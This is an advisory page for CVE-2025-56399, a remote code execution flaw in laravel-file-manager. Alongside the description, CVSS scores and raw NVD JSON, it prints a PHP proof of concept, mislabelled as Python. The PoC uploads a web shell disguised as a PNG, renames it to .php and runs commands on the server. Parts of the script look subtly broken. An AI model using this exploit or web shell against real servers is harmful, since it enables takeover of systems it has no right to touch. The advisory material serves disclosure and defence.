Security Vulnerability Report
中文
CVE-2025-56399 CVSS 8.8 HIGH

CVE-2025-56399

Published: 2025-10-28 16:15:39
Last Modified: 2026-04-15 00:35:42

Description

alexusmai laravel-file-manager 3.3.1 and before allows an authenticated attacker to achieve Remote Code Execution (RCE) through a crafted file upload. A file with a '.png` extension containing PHP code can be uploaded via the file manager interface. Although the upload appears to fail client-side validation, the file is still saved on the server. The attacker can then use the rename API to change the file extension to `.php`, and upon accessing it via a public URL, the server executes the embedded code.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

alexusmai/laravel-file-manager <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-56399 PoC - alexusmai laravel-file-manager RCE // Requirements: Valid authentication with low privileges $target = "http://target.com/laravel-file-manager"; $username = "attacker"; $password = "password"; // Step 1: Upload malicious PNG file with PHP code $pngContent = "\x89PNG\r\n\x1a\n" . "<?php system($_GET['cmd']); ?>"; $uploadUrl = $target . "/upload"; $ch = curl_init($uploadUrl); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'upload' => ['name' => 'shell.png', 'content' => $pngContent] ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $uploadResponse = curl_exec($ch); // Step 2: Rename file from .png to .php via API $fileName = 'shell.png'; // Get actual filename from response $renameUrl = $target . "/rename"; $renameData = json_encode([ 'old' => $fileName, 'new' => 'shell.php' ]); curl_setopt($ch, CURLOPT_URL, $renameUrl); curl_setopt($ch, CURLOPT_POSTFIELDS, $renameData); $renameResponse = curl_exec($ch); // Step 3: Execute commands via the .php file $execUrl = $target . "/uploads/shell.php?cmd=whoami"; $execResponse = curl_exec($ch); echo "Command output: " . $execResponse; curl_close($ch); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56399", "sourceIdentifier": "[email protected]", "published": "2025-10-28T16:15:38.543", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "alexusmai laravel-file-manager 3.3.1 and before allows an authenticated attacker to achieve Remote Code Execution (RCE) through a crafted file upload. A file with a '.png` extension containing PHP code can be uploaded via the file manager interface. Although the upload appears to fail client-side validation, the file is still saved on the server. The attacker can then use the rename API to change the file extension to `.php`, and upon accessing it via a public URL, the server executes the embedded code."}, {"lang": "es", "value": "alexusmai laravel-file-manager 3.3.1 y versiones anteriores permite a un atacante autenticado lograr la Ejecución Remota de Código (RCE) a través de una carga de archivo manipulada. Un archivo con una extensión '.png' que contiene código PHP puede ser cargado a través de la interfaz del gestor de archivos. Aunque la carga parece fallar la validación del lado del cliente, el archivo aún se guarda en el servidor. El atacante puede entonces usar la API de renombrado para cambiar la extensión del archivo a '.php', y al acceder a él a través de una URL pública, el servidor ejecuta el código incrustado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "http://laravel-file-manager.com", "source": "[email protected]"}, {"url": "https://github.com/Theethat-Thamwasin/CVE-2025-56399", "source": "[email protected]"}]}}